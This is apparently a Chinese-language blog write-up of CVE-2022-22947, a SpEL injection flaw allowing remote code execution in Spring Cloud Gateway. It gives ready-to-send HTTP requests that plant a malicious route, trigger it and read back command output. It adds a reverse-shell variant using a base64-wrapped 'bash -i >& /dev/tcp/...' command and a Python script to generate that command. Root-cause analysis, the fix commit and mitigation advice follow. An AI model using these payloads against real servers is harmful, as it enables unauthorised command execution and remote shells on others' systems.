Spring Cloud Gateway rce
Spring Cloud Gateway rce
cve-2022-22947
漏洞描述:
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
也是codeql发现的
漏洞影响:
- 3.1.0
- 3.0.0至3.0.6
- 3.0.0之前的版本
复现漏洞
首先,发送以下请求以添加包含恶意SpEL 表达式的路由器:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}
- 反弹shell将命令替换为base64命令即可
- Content-Type: application/json
其次,刷新网关路由器。SpEL 表达式将在此步骤中执行:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第三,发送以下请求以检索结果:
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
查看所有路由
GET /actuator/gateway/routes HTTP/1.1
Host: 123.58.236.76:40279
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
最后,发送一个 DELETE 请求来删除我们的恶意路由器:
DELETE /actuator/gateway/routes/lyy9 HTTP/1.1
Host: 123.58.236.76:40279
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
Content-Type: application/json
删除后用记得也用refresh
反弹shell
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,反弹shellbase64}|{base64,-d}|{bash,-i}\").getInputStream()))}"}}],"uri": "http://example.com"
}
删去new String[]初始化,直接将base64的反弹shell命令放入填入
生成base64那个站点崩了,可以自己写个python
import base64base64_str = input("请输入反弹shell命令,如:bash -i >& /dev/tcp/11.11.11.11/2334 0>&1\n")
res = base64.b64encode(base64_str.encode())
print("bash -c {echo,"+res.decode()+"}|{base64,-d}|{bash,-i}")
漏洞原理
SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行
如果想要深入学习SpEL表达式可以参考Mi1k7ea师傅的文章
https://www.mi1k7ea.com/2020/01/10/SpEL表达式注入漏洞总结/
首先定位到漏洞的修复版本对比
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
可以看到删除了默认的StandardEvaluationContext,改用自定义的GatewayEvaluationContext来对表达式进行SpEL进行处理
默认的StandardEvaluationContext里getValue方法
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {Object value;String rawValue = entryValue;if (rawValue != null) {rawValue = rawValue.trim();}if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {// assume it's spelStandardEvaluationContext context = new StandardEvaluationContext();context.setBeanResolver(new BeanFactoryResolver(beanFactory));Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());value = expression.getValue(context);}else {value = entryValue;}return value;
}
可以控制 getValue 方法调用,那么就能调用任何有效的表达式达到注入效果
修复建议
- 3.1.x用户应升级到3.1.1+
- 3.0.x用户应升级到3.0.7+
- 如果不需要Actuator端点,可以通过
management.endpoint.gateway.enable:false
配置将其禁用 - 如果需要Actuator端点,则应使用Spring Security对其进行保护
Spring Cloud Gateway rce相关推荐
- 聊聊spring cloud gateway的PreserveHostHeaderGatewayFilter
序 本文主要研究下spring cloud gateway的PreserveHostHeaderGatewayFilter GatewayAutoConfiguration spring-cloud- ...
- Spring Cloud Gateway CORS 方案看这篇就够了
欢迎关注方志朋的博客,回复"666"获面试宝典 在 SpringCloud 项目中,前后端分离目前很常见,在调试时,会遇到两种情况的跨域: 前端页面通过不同域名或IP访问微服务的后 ...
- SpringCloud 2020版本教程2:使用spring cloud gateway作为服务网关
点击关注公众号,Java干货及时送达 Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关.网关作为流量的,在微服务系统中有着非常作用,网关常见 ...
- spring cloud gateway之服务注册与发现
点击上方"方志朋",选择"置顶或者星标" 你的关注意义重大! 在之前的文章介绍了Spring Cloud Gateway的Predict(断言).Filter( ...
- spring cloud gateway之filter篇
点击上方"方志朋",选择"置顶或者星标" 你的关注意义重大! 在上一篇文章详细的介绍了Gateway的Predict,Predict决定了请求由哪一个路由处理, ...
- Spring Cloud Gateway之Predict篇
Spring Cloud gateway工作流程 在之前的文章的Spring Cloud GateWay初体验中,大家已经对Spring Cloud Gateway的功能有一个初步的认识,网关作为一个 ...
- Spring Cloud Gateway 整合阿里 Sentinel网关限流实战!
前一篇文章介绍了Spring Cloud Gateway的一些基础知识点,今天陈某就来唠一唠网关层面如何做限流? 文章目录如下: 网关如何限流? Spring Cloud Gateway本身自带的限流 ...
- 实战 Spring Cloud Gateway 之限流篇
来源:https://www.aneasystone.com/archives/2020/08/spring-cloud-gateway-current-limiting.html 话说在 Sprin ...
- Spring Cloud Alibaba 服务门户:Spring Cloud Gateway 如何把好微服务的大门
上一讲我们学习了 Dubbo 是如何与 Nacos 协同作业.通过对比 RESTful 与 RPC,我们介绍了两种通信方式的区别,再通过实例讲解如何将 Dubbo 与 Nacos 进行整合.但你是否发 ...
最新文章
- 谈python函数的参数处理
- PHP Fatal error: Call to undefined function mb_substr()
- ogre绘制3d图形_R语言统计与绘图:绘制饼图
- 去除Android开发文档中的URL,加速你的Android开发文档
- 深入理解JVM(三)——配置参数
- 【Linux就该这么学 20期培训笔记 01】部署虚拟环境安装linux系统
- Linux命令之 users -- 显示当前登录的用户
- android 三个点按钮实现_Android 常用侧滑栏实现
- 设计模式的一些小整理
- 后视摄像头_鸡肋还是“真香”?流媒体后视镜到底值不值冲?
- Linux无盘工作站
- Arduino基础学习-SG90舵机的使用
- 一篇带你熟悉MySQL
- “丧偶式”恋爱?博士男友每晚12点才回家,要分手吗......
- 秋招算是结束了,写个总结吧!
- homeassistant搭建_搭建最基本的Home assistant
- 邻域闭包matlab,拓扑空间、开集、闭集、闭包、聚点、邻域
- PowerBuilder6.5 调用WebService
- web中转服务器,Web服务器
- 第155篇 英格兰拍卖